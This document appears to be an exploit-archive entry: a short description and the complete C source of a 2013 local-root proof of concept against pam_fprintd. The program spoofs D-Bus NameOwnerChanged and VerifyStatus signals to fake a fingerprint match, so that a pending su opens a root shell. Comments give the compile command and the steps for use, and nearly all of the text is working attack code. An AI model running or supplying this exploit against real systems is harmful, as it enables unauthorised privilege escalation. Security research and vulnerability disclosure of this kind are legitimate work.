pam_fprintd local root proof of concept exploit that spawns a shell. pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and registers DBUS signal inside the PAM authentication function. Then, when the DBUS signal arrives, the signal argument is basically just checked to be the "verify-match" string; which however is expected to come from the legit net.reactivated.Fprint service. Since there is no message filter registered in either pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed by anyone.
d7d878eac758bfcc9a041d7672f578aa68bacf6ae2cbd54d692e6da69a937360
/* darklena. fprintd/pam_fprintd local root PoC. However dbus-glib plays an important role.
*
* (C) 2013 Sebastian Krahmer, all rights reversed.
*
* pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and
* registers DBUS signal inside the PAM authentication function:
*
* dbus_g_proxy_add_signal(dev, "VerifyStatus", G_TYPE_STRING, G_TYPE_BOOLEAN, NULL);
* dbus_g_proxy_add_signal(dev, "VerifyFingerSelected", G_TYPE_STRING, NULL);
* dbus_g_proxy_connect_signal(dev, "VerifyStatus", G_CALLBACK(verify_result),
* data, NULL);
*
* Then, when the DBUS signal arrives, the signal argument is basically just checked
* to be the "verify-match" string; which however is expected to come from the legit
* net.reactivated.Fprint service. Since there is no message filter registered in either
* pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed
* by anyone. In order to do so, we first need to spoof a NameOwnerChanged signal
* so the dbus_g_proxy_manager_filter() function inside dbus-glib will find our
* sender-name (which cannot be spoofed) inside its hash tables and match it to
* net.reactivated.Fprint.
*
* To test this PoC, start a service (su is fine) as user that is using pam_fprintd.
* On a second xterm, when you see 'Swipe your ... finger' message start this PoC
* and you will notice that a rootshell is spawned in the first xterm w/o giving your finger. :p
*
* Used various DBUS tutorials and example code, while writing this.
*
* $ cc darklena.c `pkg-config --cflags dbus-1` -ldbus-1 -Wall
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dbus/dbus.h>
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
DBusError err;
DBusConnection *conn = NULL;
DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
dbus_uint32_t serial = 0;
dbus_bool_t t = 1;
int un = 0, i = 0, reply_to = -1;
const char *vrfy_match = "verify-match", *cname = NULL,
*name = "net.reactivated.Fprint", *prev_owner = NULL;
char dest[32];
/* override unique name of net.reactivated.Fprint */
if (argc > 1)
prev_owner = strdup(argv[1]);
printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");
printf("[*] Initializing DBUS ...\n");
dbus_error_init(&err);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Error: %s\n", err.message);
die("dbus_error_is_set");
}
if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
die("dbus_bus_get_unique_name");
un = atoi(strchr(cname, '.') + 1);
printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);
if (!prev_owner) {
printf("[*] Trying to find unique name of '%s' ...\n", name);
nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
"/org/freedesktop/DBus",
"org.freedesktop.DBus",
"GetNameOwner");
if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args");
reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
dbus_message_unref(nl_msg);
if (dbus_error_is_set(&err)) {
fprintf (stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_connection_send_with_reply_and_block");
}
if (!dbus_message_get_args(reply, &err,
DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
fprintf(stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_message_get_args");
}
dbus_message_unref(reply);
}
printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);
for (i = 1; i < 20; ++i) {
/* spoof a NameOwnerChanged signal */
noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
"org.freedesktop.DBus",
"NameOwnerChanged");
/* spoof a VerifyStatus */
vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
"net.reactivated.Fprint.Device",
"VerifyStatus");
if (!vrfy_msg || !noc_msg)
die("[-] dbus_message_new_signal");
if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
&prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args1");
if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args2");
/* iterate over unique names short below under our own
* to hit the previously started su
*/
snprintf(dest, sizeof(dest), ":1.%d", un - i);
printf("[*] Using new destination: %s\n", dest);
if (!dbus_message_set_destination(vrfy_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_message_set_destination(noc_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_connection_send(conn, noc_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
usleep(1000);
if (!dbus_connection_send(conn, vrfy_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
dbus_message_unref(vrfy_msg);
dbus_message_unref(noc_msg);
}
printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
return 0;
}